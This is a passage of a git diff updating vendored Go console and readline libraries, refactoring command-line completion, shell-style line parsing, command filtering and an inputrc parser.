+ comps = readline.CompleteMessage("failed to load config: " + err.Error())
}
- args = append(args, strings.Split(remain, " ")...)
-
- return
-}
-
-func sanitizeArgs(rbuffer []rune, args []string) (sanitized []string) {
- // Like in classic system shells, we need to add an empty
- // argument if the last character is a space: the args
- // returned from the previous call don't account for it.
- if strings.HasSuffix(string(rbuffer), " ") || len(args) == 0 {
- args = append(args, "")
- } else if strings.HasSuffix(string(rbuffer), "\n") {
- args = append(args, "")
+ // Completion status/errors
+ for _, msg := range completions.Messages.Get() {
+ comps = comps.Merge(readline.CompleteMessage(msg))
}
- if len(args) == 0 {
- return
+ // Suffix matchers for the completions if any.
+ suffixes, err := completions.Nospace.MarshalJSON()
+ if len(suffixes) > 0 && err == nil {
+ comps = comps.NoSpace([]rune(string(suffixes))...)
}
- sanitized = args[:len(args)-1]
- last := args[len(args)-1]
-
- // The last word should not comprise newlines.
- last = strings.ReplaceAll(last, "\n", " ")
- last = strings.ReplaceAll(last, "\\ ", " ")
- sanitized = append(sanitized, last)
-
- return sanitized
-}
+ // If we have a quote/escape sequence unaccounted
+ // for in our completions, add it to all of them.
+ comps = comps.Prefix(prefixComp)
+ comps.PREFIX = prefixLine
-// Regenerate commands and apply any filters.
-func (c *Console) completeCommands(menu *Menu) func() {
- commands := func() {
- menu.resetCommands()
- c.hideFilteredCommands()
- }
+ // Finally, reset our command tree for the next call.
+ completer.ClearStorage()
+ menu.resetPreRun()
+ menu.hideFilteredCommands(menu.Command)
- return commands
+ return comps
}
func (c *Console) justifyCommandComps(comps readline.Completions) readline.Completions {
@@ -163,6 +130,109 @@ func (c *Console) defaultStyleConfig() {
style.Set("carapace.FlagOptArg", "bright-white")
}
+// splitArgs splits the line in valid words, prepares them in various ways before calling
+// the completer with them, and also determines which parts of them should be used as
+// prefixes, in the completions and/or in the line.
+func splitArgs(line []rune, pos int) (args []string, prefixComp, prefixLine string) {
+ line = line[:pos]
+
+ // Remove all colors from the string
+ line = []rune(strip(string(line)))
+
+ // Split the line as shellwords, return them if all went fine.
+ args, remain, err := splitCompWords(string(line))
+
+ // We might have either no error and args, or no error and
+ // the cursor ready to complete a new word (last character
+ // in line is a space).
+ // In some of those cases we append a single dummy argument
+ // for the completer to understand we want a new word comp.
+ mustComplete, args, remain := mustComplete(line, args, remain, err)
+ if mustComplete {
+ return sanitizeArgs(args), "", remain
+ }
+
+ // But the completion candidates themselves might need slightly
+ // different prefixes, for an optimal completion experience.
+ arg, prefixComp, prefixLine := adjustQuotedPrefix(remain, err)
+
+ // The remainder is everything following the open charater.
+ // Pass it as is to the carapace completion engine.
+ args = append(args, arg)
+
+ return sanitizeArgs(args), prefixComp, prefixLine
+}
+
+func mustComplete(line []rune, args []string, remain string, err error) (bool, []string, string) {
+ dummyArg := ""
+
+ // Empty command line, complete the root command.
+ if len(args) == 0 || len(line) == 0 {
+ return true, append(args, dummyArg), remain
+ }
+
+ // If we have an error, we must handle it later.
+ if err != nil {
+ return false, args, remain
+ }
+
+ lastChar := line[len(line)-1]
+
+ // No remain and a trailing space means we want to complete
+ // for the next word, except when this last space was escaped.
+ if remain == "" && unicode.IsSpace(lastChar) {
+ if strings.HasSuffix(string(line), "\\ ") {
+ return true, args, args[len(args)-1]
+ }
+
+ return true, append(args, dummyArg), remain
+ }
+
+ // Else there is a character under the cursor, which means we are
+ // in the middle/at the end of a posentially completed word.
+ return true, args, remain
+}
+
+func adjustQuotedPrefix(remain string, err error) (arg, comp, line string) {
+ arg = remain
+
+ switch {
+ case errors.Is(err, errUnterminatedDoubleQuote):
+ comp = "\""
+ line = comp + arg
+ case errors.Is(err, errUnterminatedSingleQuote):
+ comp = "'"
+ line = comp + arg
+ case errors.Is(err, errUnterminatedEscape):
+ arg = strings.ReplaceAll(arg, "\\", "")
+ }
+
+ return arg, comp, line
+}
+
+// sanitizeArg unescapes a restrained set of characters.
+func sanitizeArgs(args []string) (sanitized []string) {
+ for _, arg := range args {
+ arg = replacer.Replace(arg)
+ sanitized = append(sanitized, arg)
+ }
+
+ return sanitized
+}
+
+// when the completer has returned us some completions, we sometimes
+// needed to post-process them a little before passing them to our shell.
+func unescapeValue(prefixComp, prefixLine, val string) string {
+ quoted := strings.HasPrefix(prefixLine, "\"") ||
+ strings.HasPrefix(prefixLine, "'")
+
+ if quoted {
+ val = strings.ReplaceAll(val, "\\ ", " ")
+ }
+
+ return val
+}
+
// split has been copied from go-shellquote and slightly modified so as to also
// return the remainder when the parsing failed because of an unterminated quote.
func splitCompWords(input string) (words []string, remainder string, err error) {
@@ -194,8 +264,7 @@ func splitCompWords(input string) (words []string, remainder string, err error)
word, input, err = splitCompWord(input, &buf)
if err != nil {
- remainder = input
- return
+ return words, word + input, err
}
words = append(words, word)
@@ -299,3 +368,18 @@ double:
done:
return buf.String(), input, nil
}
+
+const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))"
+
+var re = regexp.MustCompile(ansi)
+
+// strip removes all ANSI escaped color sequences in a string.
+func strip(str string) string {
+ return re.ReplaceAllString(str, "")
+}
+
+var replacer = strings.NewReplacer(
+ "\n", ` `,
+ "\t", ` `,
+ "\\ ", " ", // User-escaped spaces in words.
+)
diff --git a/vendor/github.com/reeflective/console/console.go b/vendor/github.com/reeflective/console/console.go
index ae9898f563..795363ae2f 100644
--- a/vendor/github.com/reeflective/console/console.go
+++ b/vendor/github.com/reeflective/console/console.go
@@ -81,10 +81,11 @@ func New(app string) *Console {
console.shell.History.Add(name, defaultMenu.histories[name])
}
- // Command completion, syntax highlighting, multiline callbacks, etc.
+ // Syntax highlighting, multiline callbacks, etc.
console.shell.AcceptMultiline = console.acceptMultiline
console.shell.SyntaxHighlighter = console.highlightSyntax
+ // Completion
console.shell.Completer = console.complete
console.defaultStyleConfig()
@@ -136,11 +137,12 @@ func (c *Console) Menu(name string) *Menu {
// that belong to this new menu. If the menu is invalid, i.e that no commands
// are bound to this menu name, the current menu is kept.
func (c *Console) SwitchMenu(menu string) {
- c.mutex.RLock()
- defer c.mutex.RUnlock()
+ c.mutex.Lock()
+ target, found := c.menus[menu]
+ c.mutex.Unlock()
- // Only switch if the target menu was found.
- if target, found := c.menus[menu]; found && target != nil {
+ if found && target != nil {
+ // Only switch if the target menu was found.
current := c.activeMenu()
if current != nil && target == current {
return
diff --git a/vendor/github.com/reeflective/console/syntax-highlighter.go b/vendor/github.com/reeflective/console/highlighter.go
similarity index 94%
rename from vendor/github.com/reeflective/console/syntax-highlighter.go
rename to vendor/github.com/reeflective/console/highlighter.go
index f16b0ffd55..436b7c006b 100644
--- a/vendor/github.com/reeflective/console/syntax-highlighter.go
+++ b/vendor/github.com/reeflective/console/highlighter.go
@@ -71,7 +71,8 @@ func (c *Console) highlightCommand(done, args []string, _ *cobra.Command) ([]str
// Highlight the root command when found, or any of its aliases.
for _, cmd := range c.activeMenu().Commands() {
- cmdFound := cmd.Use == strings.TrimSpace(args[0])
+ // Change 1: Highlight based on first arg in usage rather than the entire usage itself
+ cmdFound := strings.Split(cmd.Use, " ")[0] == strings.TrimSpace(args[0])
for _, alias := range cmd.Aliases {
if alias == strings.TrimSpace(args[0]) {
diff --git a/vendor/github.com/reeflective/console/line.go b/vendor/github.com/reeflective/console/line.go
index 06408df5d2..d33ce06669 100644
--- a/vendor/github.com/reeflective/console/line.go
+++ b/vendor/github.com/reeflective/console/line.go
@@ -5,6 +5,9 @@ import (
"errors"
"strings"
"unicode/utf8"
+
+ "github.com/kballard/go-shellquote"
+ "mvdan.cc/sh/v3/syntax"
)
var (
@@ -21,6 +24,29 @@ var (
errUnterminatedEscape = errors.New("unterminated backslash-escape")
)
+// parse is in charge of removing all comments from the input line
+// before execution, and if successfully parsed, split into words.
+func (c *Console) parse(line string) (args []string, err error) {
+ lineReader := strings.NewReader(line)
+ parser := syntax.NewParser(syntax.KeepComments(false))
+
+ // Parse the shell string a syntax, removing all comments.
+ stmts, err := parser.Parse(lineReader, "")
+ if err != nil {
+ return nil, err
+ }
+
+ var parsedLine bytes.Buffer
+
+ err = syntax.NewPrinter().Print(&parsedLine, stmts)
+ if err != nil {
+ return nil, err
+ }
+
+ // Split the line into shell words.
+ return shellquote.Split(parsedLine.String())
+}
+
// acceptMultiline determines if the line just accepted is complete (in which case
// we should execute it), or incomplete (in which case we must read in multiline).
func (c *Console) acceptMultiline(line []rune) (accept bool) {
diff --git a/vendor/github.com/reeflective/console/menu.go b/vendor/github.com/reeflective/console/menu.go
index 27d8412a18..68e9be5d8f 100644
--- a/vendor/github.com/reeflective/console/menu.go
+++ b/vendor/github.com/reeflective/console/menu.go
@@ -2,12 +2,16 @@ package console
import (
"bytes"
+ "errors"
"fmt"
+ "io"
"strings"
"sync"
+ "text/template"
- "github.com/reeflective/readline"
"github.com/spf13/cobra"
+
+ "github.com/reeflective/readline"
)
// Menu - A menu is a simple way to seggregate commands based on
@@ -35,6 +39,9 @@ type Menu struct {
// Command spawner
cmds Commands
+ // An error template to use to produce errors when a command is unavailable.
+ errFilteredTemplate string
+
// History sources peculiar to this menu.
historyNames []string
histories map[string]readline.History
@@ -186,21 +193,114 @@ func (m *Menu) Printf(msg string, args ...any) (n int, err error) {
return m.console.Printf(buf)
}
+// CheckIsAvailable checks if a target command is marked as filtered
+// by the console application registered/and or active filters (added
+// with console.Hide/ShowCommand()).
+// If filtered, returns a template-formatted error message showing the
+// list of incompatible filters. If not filtered, no error is returned.
+func (m *Menu) CheckIsAvailable(cmd *cobra.Command) error {
+ if cmd == nil {
+ return nil
+ }
+
+ filters := m.ActiveFiltersFor(cmd)
+ if len(filters) == 0 {
+ return nil
+ }
+
+ var bufErr strings.Builder
+
+ err := tmpl(&bufErr, m.errorFilteredCommandTemplate(filters), map[string]interface{}{
+ "menu": m,
+ "cmd": cmd,
+ "filters": filters,
+ })
+ if err != nil {
+ return err
+ }
+
+ return errors.New(bufErr.String())
+}
+
+// ActiveFiltersFor returns all the active menu filters that a given command
+// does not declare as compliant with (added with console.Hide/ShowCommand()).
+func (m *Menu) ActiveFiltersFor(cmd *cobra.Command) []string {
+ if cmd.Annotations == nil {
+ if cmd.HasParent() {
+ return m.ActiveFiltersFor(cmd.Parent())
+ }
+
+ return nil
+ }
+
+ m.console.mutex.Lock()
+ defer m.console.mutex.Unlock()
+
+ // Get the filters on the command
+ filterStr := cmd.Annotations[CommandFilterKey]
+ var filters []string
+
+ for _, cmdFilter := range strings.Split(filterStr, ",") {
+ for _, filter := range m.console.filters {
+ if cmdFilter != "" && cmdFilter == filter {
+ filters = append(filters, cmdFilter)
+ }
+ }
+ }
+
+ if len(filters) > 0 || !cmd.HasParent() {
+ return filters
+ }
+
+ // Any parent that is hidden make its whole subtree hidden also.
+ return m.ActiveFiltersFor(cmd.Parent())
+}
+
+// SetErrFilteredCommandTemplate sets the error template to be used
+// when a called command can't be executed because it's mark filtered.
+func (m *Menu) SetErrFilteredCommandTemplate(s string) {
+ m.errFilteredTemplate = s
+}
+
// resetPreRun is called before each new read line loop and before arbitrary RunCommand() calls.
// This function is responsible for resetting the menu state to a clean state, regenerating the
// menu commands, and ensuring that the correct prompt is bound to the shell.
func (m *Menu) resetPreRun() {
- m.console.mutex.RLock()
- defer m.console.mutex.RUnlock()
+ m.mutex.Lock()
+ defer m.mutex.Unlock()
+
+ // Commands
+ if m.cmds != nil {
+ m.Command = m.cmds()
+ }
+
+ if m.Command == nil {
+ m.Command = &cobra.Command{
+ Annotations: make(map[string]string),
+ }
+ }
+
+ // Hide commands that are not available
+ m.hideFilteredCommands(m.Command)
// Menu setup
- m.resetCommands() // Regenerate the commands for the menu.
m.resetCmdOutput() // Reset or adjust any buffered command output.
m.prompt.bind(m.console.shell) // Prompt binding
+}
- // Console-wide setup.
- m.console.ensureNoRootRunner() // Avoid printing any help when the command line is empty
- m.console.hideFilteredCommands() // Hide commands that are not available
+// hide commands that are filtered so that they are not
+// shown in the help strings or proposed as completions.
+func (m *Menu) hideFilteredCommands(root *cobra.Command) {
+ for _, cmd := range root.Commands() {
+ // Don't override commands if they are already hidden
+ if cmd.Hidden {
+ continue
+ }
+
+ if filters := m.ActiveFiltersFor(cmd); len(filters) > 0 {
+ cmd.Hidden = true
+ }
+ }
}
func (m *Menu) resetCmdOutput() {
@@ -217,20 +317,6 @@ func (m *Menu) resetCmdOutput() {
m.out.WriteString("\n")
}
-func (m *Menu) resetCommands() {
- if m.cmds != nil {
- m.Command = m.cmds()
- }
-
- if m.Command == nil {
- m.Command = &cobra.Command{
- Annotations: make(map[string]string),
- }
- }
-
- m.SilenceUsage = true
-}
-
func (m *Menu) defaultHistoryName() string {
var name string
@@ -240,3 +326,24 @@ func (m *Menu) defaultHistoryName() string {
return fmt.Sprintf("local history%s", name)
}
+
+func (m *Menu) errorFilteredCommandTemplate(filters []string) string {
+ if m.errFilteredTemplate != "" {
+ return m.errFilteredTemplate
+ }
+
+ return `Command {{.cmd.Name}} is only available for: {{range .filters }}
+ - {{.}} {{end}}`
+}
+
+// tmpl executes the given template text on data, writing the result to w.
+func tmpl(w io.Writer, text string, data interface{}) error {
+ t := template.New("top")
+ t.Funcs(templateFuncs)
+ template.Must(t.Parse(text))
+ return t.Execute(w, data)
+}
+
+var templateFuncs = template.FuncMap{
+ "trim": strings.TrimSpace,
+}
diff --git a/vendor/github.com/reeflective/console/run.go b/vendor/github.com/reeflective/console/run.go
index eb5b60b9c1..29c6821d90 100644
--- a/vendor/github.com/reeflective/console/run.go
+++ b/vendor/github.com/reeflective/console/run.go
@@ -37,7 +37,7 @@ func (c *Console) Start() error {
c.printed = false
- if err := c.runPreReadHooks(); err != nil {
+ if err := c.runAllE(c.PreReadlineHooks); err != nil {
fmt.Printf("Pre-read error: %s\n", err.Error())
continue
}
@@ -59,10 +59,10 @@ func (c *Console) Start() error {
// so we must be sure we use the good one.
menu = c.activeMenu()
- // Split the line into shell words.
- args, err := shellquote.Split(line)
+ // Parse the line with bash-syntax, removing comments.
+ args, err := c.parse(line)
if err != nil {
- fmt.Printf("Line error: %s\n", err.Error())
+ fmt.Printf("Parsing error: %s\n", err.Error())
continue
}
@@ -83,13 +83,31 @@ func (c *Console) Start() error {
// the library user is responsible for setting
// the cobra behavior.
// If it's an interrupt, we take care of it.
- c.execute(menu, args, false)
+ if err := c.execute(menu, args, false); err != nil {
+ fmt.Println(err)
+ }
}
}
-// RunCommand is a convenience function to run a command in a given menu.
-// After running, the menu commands are reset, and the prompts reloaded.
-func (m *Menu) RunCommand(line string) (err error) {
+// RunCommandArgs is a convenience function to run a command line in a given menu.
+// After running, the menu's commands are reset, and the prompts reloaded, therefore
+// mostly mimicking the behavior that is the one of the normal readline/run/readline
+// workflow.
+// Although state segregation is a priority for this library to be ensured as much
+// as possible, you should be cautious when using this function to run commands.
+func (m *Menu) RunCommandArgs(args []string) (err error) {
+ // The menu used and reset is the active menu.
+ // Prepare its output buffer for the command.
+ m.resetPreRun()
+
+ // Run the command and associated helpers.
+ return m.console.execute(m, args, !m.console.isExecuting)
+}
+
+// RunCommandLine is the equivalent of menu.RunCommandArgs(), but accepts
+// an unsplit command line to execute. This line is split and processed in
+// *sh-compliant form, identically to how lines are in normal console usage.
+func (m *Menu) RunCommandLine(line string) (err error) {
if len(line) == 0 {
return
}
@@ -100,14 +118,7 @@ func (m *Menu) RunCommand(line string) (err error) {
return fmt.Errorf("line error: %w", err)
}
- // The menu used and reset is the active menu.
- // Prepare its output buffer for the command.
- m.resetPreRun()
-
- // Run the command and associated helpers.
- m.console.execute(m, args, !m.console.isExecuting)
-
- return
+ return m.RunCommandArgs(args)
}
// execute - The user has entered a command input line, the arguments have been processed:
@@ -134,14 +145,14 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) {
// Find the target command: if this command is filtered, don't run it.
target, _, _ := cmd.Find(args)
- if c.isFiltered(target) {
- return
+
+ if err = menu.CheckIsAvailable(target); err != nil {
+ return err
}
// Console-wide pre-run hooks, cannot.
- if err = c.runPreRunHooks(); err != nil {
- fmt.Printf("Pre-run error: %s\n", err.Error())
- return
+ if err = c.runAllE(c.PreCmdRunHooks); err != nil {
+ return fmt.Errorf("pre-run error: %s", err.Error())
}
// Assign those arguments to our parser.
@@ -162,7 +173,10 @@ func (c *Console) execute(menu *Menu, args []string, async bool) (err error) {
// Wait for the command to finish, or for an OS signal to be caught.
select {
case <-ctx.Done():
- err = ctx.Err()
+ if !errors.Is(ctx.Err(), context.Canceled) {
+ err = ctx.Err()
+ }
+
case signal := <-sigchan:
cancel(errors.New(signal.String()))
menu.handleInterrupt(errors.New(signal.String()))
@@ -181,7 +195,7 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF
// And the post-run hooks in the same goroutine,
// because they should not be skipped even if
// the command is backgrounded by the user.
- if err := c.runPostRunHooks(); err != nil {
+ if err := c.runAllE(c.PostCmdRunHooks); err != nil {
cancel(err)
return
}
@@ -190,18 +204,6 @@ func (c *Console) executeCommand(cmd *cobra.Command, cancel context.CancelCauseF
cancel(nil)
}
-// Generally, an empty command entered should just print a new prompt,
-// unlike for classic CLI usage when the program will print its usage string.
-// We simply remove any RunE from the root command, so that nothing is
-// printed/executed by default. Pre/Post runs are still used if any.
-func (c *Console) ensureNoRootRunner() {
- if c.activeMenu().Command != nil {
- c.activeMenu().RunE = func(cmd *cobra.Command, args []string) error {
- return nil
- }
- }
-}
-
func (c *Console) loadActiveHistories() {
c.shell.History.Delete()
@@ -210,8 +212,8 @@ func (c *Console) loadActiveHistories() {
}
}
-func (c *Console) runPreReadHooks() error {
- for _, hook := range c.PreReadlineHooks {
+func (c *Console) runAllE(hooks []func() error) error {
+ for _, hook := range hooks {
if err := hook(); err != nil {
return err
}
@@ -235,26 +237,6 @@ func (c *Console) runLineHooks(args []string) ([]string, error) {
return processed, nil
}
-func (c *Console) runPreRunHooks() error {
- for _, hook := range c.PreCmdRunHooks {
- if err := hook(); err != nil {
- return err
- }
- }
-
- return nil
-}
-
-func (c *Console) runPostRunHooks() error {
- for _, hook := range c.PostCmdRunHooks {
- if err := hook(); err != nil {
- return err
- }
- }
-
- return nil
-}
-
// monitorSignals - Monitor the signals that can be sent to the process
// while a command is running. We want to be able to cancel the command.
func (c *Console) monitorSignals() <-chan os.Signal {
diff --git a/vendor/github.com/reeflective/readline/emacs.go b/vendor/github.com/reeflective/readline/emacs.go
index a8d267ebbc..5dfbe148ba 100644
--- a/vendor/github.com/reeflective/readline/emacs.go
+++ b/vendor/github.com/reeflective/readline/emacs.go
@@ -7,13 +7,14 @@ import (
"strings"
"unicode"
+ "github.com/rivo/uniseg"
+
"github.com/reeflective/readline/inputrc"
"github.com/reeflective/readline/internal/color"
"github.com/reeflective/readline/internal/completion"
"github.com/reeflective/readline/internal/keymap"
"github.com/reeflective/readline/internal/strutil"
"github.com/reeflective/readline/internal/term"
- "github.com/rivo/uniseg"
)
// standardCommands returns all standard/emacs commands.
diff --git a/vendor/github.com/reeflective/readline/inputrc/parse.go b/vendor/github.com/reeflective/readline/inputrc/parse.go
index 7f2f1d3b3f..429aa128ad 100644
--- a/vendor/github.com/reeflective/readline/inputrc/parse.go
+++ b/vendor/github.com/reeflective/readline/inputrc/parse.go
@@ -15,6 +15,13 @@ import (
"unicode/utf8"
)
+const (
+ emacs = "emacs"
+ hexValNum = 10
+ metaSeqLength = 6
+ setDirectiveLen = 4
+)
+
// Parser is a inputrc parser.
type Parser struct {
haltOnErr bool
@@ -32,48 +39,53 @@ type Parser struct {
// New creates a new inputrc parser.
func New(opts ...Option) *Parser {
// build parser state
- p := &Parser{
+ parser := &Parser{
line: 1,
}
for _, o := range opts {
- o(p)
+ o(parser)
}
- return p
+
+ return parser
}
// Parse parses inputrc data from the reader, passing sets and binding keys to
// h based on the configured options.
-func (p *Parser) Parse(r io.Reader, h Handler) error {
+func (p *Parser) Parse(stream io.Reader, handler Handler) error {
var err error
// reset parser state
- p.keymap, p.line, p.conds, p.errs = "emacs", 1, append(p.conds[:0], true), p.errs[:0]
+ p.keymap, p.line, p.conds, p.errs = emacs, 1, append(p.conds[:0], true), p.errs[:0]
// scan file by lines
var line []rune
- var i, end int
- s := bufio.NewScanner(r)
- for ; s.Scan(); p.line++ {
- line = []rune(s.Text())
+ var pos, end int
+ scanner := bufio.NewScanner(stream)
+
+ for ; scanner.Scan(); p.line++ {
+ line = []rune(scanner.Text())
end = len(line)
- if i = findNonSpace(line, 0, end); i == end {
+
+ if pos = findNonSpace(line, 0, end); pos == end {
continue
}
// skip blank/comment
- switch line[i] {
+ switch line[pos] {
case 0, '\r', '\n', '#':
continue
}
// next
- if err = p.next(h, line, i, end); err != nil {
+ if err = p.next(handler, line, pos, end); err != nil {
p.errs = append(p.errs, err)
if p.haltOnErr {
return err
}
}
}
- if err = s.Err(); err != nil {
+
+ if err = scanner.Err(); err != nil {
p.errs = append(p.errs, err)
return err
}
+
return nil
}
@@ -83,53 +95,60 @@ func (p *Parser) Errs() []error {
}
// next handles the next statement.
-func (p *Parser) next(h Handler, r []rune, i, end int) error {
- a, b, tok, err := p.readNext(r, i, end)
+func (p *Parser) next(handler Handler, seq []rune, pos, end int) error {
+ directive, val, tok, err := p.readNext(seq, pos, end)
if err != nil {
return err
}
+
switch tok {
case tokenBind, tokenBindMacro:
- return p.doBind(h, a, b, tok == tokenBindMacro)
+ return p.doBind(handler, directive, val, tok == tokenBindMacro)
case tokenSet:
- return p.doSet(h, a, b)
+ return p.doSet(handler, directive, val)
case tokenConstruct:
- return p.do(h, a, b)
+ return p.do(handler, directive, val)
}
+
return nil
}
// readNext reads the next statement.
-func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) {
- i = findNonSpace(r, i, end)
+func (p *Parser) readNext(seq []rune, pos, end int) (string, string, token, error) {
+ pos = findNonSpace(seq, pos, end)
+
switch {
- case r[i] == 's' && grab(r, i+1, end) == 'e' && grab(r, i+2, end) == 't' && unicode.IsSpace(grab(r, i+3, end)):
+ case seq[pos] == 's' && grab(seq, pos+1, end) == 'e' && grab(seq, pos+2, end) == 't' && unicode.IsSpace(grab(seq, pos+3, end)):
// read set
- return p.readSymbols(r, i+4, end, tokenSet)
- case r[i] == '$':
+ return p.readSymbols(seq, pos+setDirectiveLen, end, tokenSet, true)
+ case seq[pos] == '$':
// read construct
- return p.readSymbols(r, i, end, tokenConstruct)
+ return p.readSymbols(seq, pos, end, tokenConstruct, false)
}
- // read key seq
- var seq string
- if r[i] == '"' || r[i] == '\'' {
- start, ok := i, false
- if i, ok = findStringEnd(r, i, end); !ok {
+ // read key keySeq
+ var keySeq string
+
+ if seq[pos] == '"' || seq[pos] == '\'' {
+ var ok bool
+ start := pos
+
+ if pos, ok = findStringEnd(seq, pos, end); !ok {
return "", "", tokenNone, &ParseError{
Name: p.name,
Line: p.line,
- Text: string(r[start:]),
+ Text: string(seq[start:]),
Err: ErrBindMissingClosingQuote,
}
}
- seq = unescapeRunes(r, start+1, i-1)
+
+ keySeq = unescapeRunes(seq, start+1, pos-1)
} else {
var err error
- if seq, i, err = decodeKey(r, i, end); err != nil {
+ if keySeq, pos, err = decodeKey(seq, pos, end); err != nil {
return "", "", tokenNone, &ParseError{
Name: p.name,
Line: p.line,
- Text: string(r),
+ Text: string(seq),
Err: err,
}
}
@@ -139,44 +158,61 @@ func (p *Parser) readNext(r []rune, i, end int) (string, string, token, error) {
// does not bind a key) if a space follows the key declaration. made a
// decision to instead return an error if the : is missing in all cases.
// seek :
- for ; i < end && r[i] != ':'; i++ {
+ for ; pos < end && seq[pos] != ':'; pos++ {
}
- if i == end || r[i] != ':' {
+
+ if pos == end || seq[pos] != ':' {
return "", "", tokenNone, &ParseError{
Name: p.name,
Line: p.line,
- Text: string(r),
+ Text: string(seq),
Err: ErrMissingColon,
}
}
// seek non space
- if i = findNonSpace(r, i+1, end); i == end || r[i] == '#' {
- return seq, "", tokenNone, nil
+ if pos = findNonSpace(seq, pos+1, end); pos == end || seq[pos] == '#' {
+ return keySeq, "", tokenNone, nil
}
// seek
- if r[i] == '"' || r[i] == '\'' {
- start, ok := i, false
- if i, ok = findStringEnd(r, i, end); !ok {
+ if seq[pos] == '"' || seq[pos] == '\'' {
+ var ok bool
+ start := pos
+
+ if pos, ok = findStringEnd(seq, pos, end); !ok {
return "", "", tokenNone, &ParseError{
Name: p.name,
Line: p.line,
- Text: string(r[start:]),
+ Text: string(seq[start:]),
Err: ErrMacroMissingClosingQuote,
}
}
- return seq, unescapeRunes(r, start+1, i-1), tokenBindMacro, nil
+
+ return keySeq, unescapeRunes(seq, start+1, pos-1), tokenBindMacro, nil
}
- return seq, string(r[i:findEnd(r, i, end)]), tokenBind, nil
+
+ return keySeq, string(seq[pos:findEnd(seq, pos, end)]), tokenBind, nil
}
// readSet reads the next two symbols.
-func (p *Parser) readSymbols(r []rune, i, end int, tok token) (string, string, token, error) {
- start := findNonSpace(r, i, end)
- i = findEnd(r, start, end)
- a := string(r[start:i])
- start = findNonSpace(r, i, end)
- i = findEnd(r, start, end)
- return a, string(r[start:i]), tok, nil
+func (p *Parser) readSymbols(seq []rune, pos, end int, tok token, allowStrings bool) (string, string, token, error) {
+ start := findNonSpace(seq, pos, end)
+ pos = findEnd(seq, start, end)
+ val := string(seq[start:pos])
+ start = findNonSpace(seq, pos, end)
+ var ok bool
+
+ if c := grab(seq, start, end); allowStrings || c == '"' || c == '\'' {
+ var epos int
+ if epos, ok = findStringEnd(seq, start, end); ok {
+ pos = epos
+ }
+ }
+
+ if !allowStrings || !ok {
+ pos = findEnd(seq, start, end)
+ }
+
+ return val, string(seq[start:pos]), tok, nil
}
// doBind handles a bind.
@@ -184,14 +220,16 @@ func (p *Parser) doBind(h Handler, sequence, action string, macro bool) error {
if !p.conds[len(p.conds)-1] {
return nil
}
+
return h.Bind(p.keymap, sequence, action, macro)
}
// doSet handles a set.
-func (p *Parser) doSet(h Handler, name, value string) error {
+func (p *Parser) doSet(handler Handler, name, value string) error {
if !p.conds[len(p.conds)-1] {
return nil
}
+
switch name {
case "keymap":
if p.strict {
@@ -209,8 +247,11 @@ func (p *Parser) doSet(h Handler, name, value string) error {
}
}
}
+
p.keymap = value
+
return nil
+
case "editing-mode":
switch value {
case "emacs", "vi":
@@ -222,55 +263,66 @@ func (p *Parser) doSet(h Handler, name, value string) error {
Err: ErrInvalidEditingMode,
}
}
- return h.Set(name, value)
+
+ return handler.Set(name, value)
}
- if v := h.Get(name); v != nil {
+
+ if val := handler.Get(name); val != nil {
// defined in vars, so pass to set only as that type
- var z interface{}
- switch v.(type) {
+ var data interface{}
+ switch val.(type) {
case bool:
- z = strings.ToLower(value) == "on" || value == "1"
+ data = strings.ToLower(value) == "on" || value == "1"
case string:
- z = value
+ data = value
case int:
i, err := strconv.Atoi(value)
if err != nil {
return err
}
- z = i
+
+ data = i
+
default:
- panic(fmt.Sprintf("unsupported type %T", v))
+ panic(fmt.Sprintf("unsupported type %T", val))
}
- return h.Set(name, z)
+
+ return handler.Set(name, data)
}
// not set, so try to convert to usable value
if i, err := strconv.Atoi(value); err == nil {
- return h.Set(name, i)
+ return handler.Set(name, i)
}
+
switch strings.ToLower(value) {
case "off":
- return h.Set(name, false)
+ return handler.Set(name, false)
case "on":
- return h.Set(name, true)
+ return handler.Set(name, true)
}
- return h.Set(name, value)
+
+ return handler.Set(name, value)
}
// do handles a construct.
-func (p *Parser) do(h Handler, a, b string) error {
- switch a {
+func (p *Parser) do(handler Handler, keyword, val string) error {
+ switch keyword {
case "$if":
var eval bool
+
switch {
- case strings.HasPrefix(b, "mode="):
- eval = strings.TrimPrefix(b, "mode=") == p.mode
- case strings.HasPrefix(b, "term="):
- eval = strings.TrimPrefix(b, "term=") == p.term
+ case strings.HasPrefix(val, "mode="):
+ eval = strings.TrimPrefix(val, "mode=") == p.mode
+ case strings.HasPrefix(val, "term="):
+ eval = strings.TrimPrefix(val, "term=") == p.term
default:
- eval = strings.ToLower(b) == p.app
+ eval = strings.ToLower(val) == p.app
}
+
p.conds = append(p.conds, eval)
+
return nil
+
case "$else":
if len(p.conds) == 1 {
return &ParseError{
@@ -280,8 +332,11 @@ func (p *Parser) do(h Handler, a, b string) error {
Err: ErrElseWithoutMatchingIf,
}
}
+
p.conds[len(p.conds)-1] = !p.conds[len(p.conds)-1]
+
return nil
+
case "$endif":
if len(p.conds) == 1 {
return &ParseError{
@@ -291,34 +346,42 @@ func (p *Parser) do(h Handler, a, b string) error {
Err: ErrEndifWithoutMatchingIf,
}
}
+
p.conds = p.conds[:len(p.conds)-1]
+
return nil
+
case "$include":
if !p.conds[len(p.conds)-1] {
return nil
}
- path := expandIncludePath(b)
- buf, err := h.ReadFile(path)
+
+ path := expandIncludePath(val)
+ buf, err := handler.ReadFile(path)
+
switch {
case err != nil && errors.Is(err, os.ErrNotExist):
return nil
case err != nil:
return err
}
- return Parse(bytes.NewReader(buf), h, WithName(b), WithApp(p.app), WithTerm(p.term), WithMode(p.mode))
+
+ return Parse(bytes.NewReader(buf), handler, WithName(val), WithApp(p.app), WithTerm(p.term), WithMode(p.mode))
}
+
if !p.conds[len(p.conds)-1] {
return nil
}
// delegate unknown construct
- if err := h.Do(a, b); err != nil {
+ if err := handler.Do(keyword, val); err != nil {
return &ParseError{
Name: p.name,
Line: p.line,
- Text: a + " " + b,
+ Text: keyword + " " + val,
Err: err,
}
}
+
return nil
}
@@ -381,6 +444,7 @@ func (err *ParseError) Error() string {
if err.Name != "" {
s = " " + err.Name + ":"
}
+
return fmt.Sprintf("inputrc:%s line %d: %s: %v", s, err.Line, err.Text, err.Err)
}
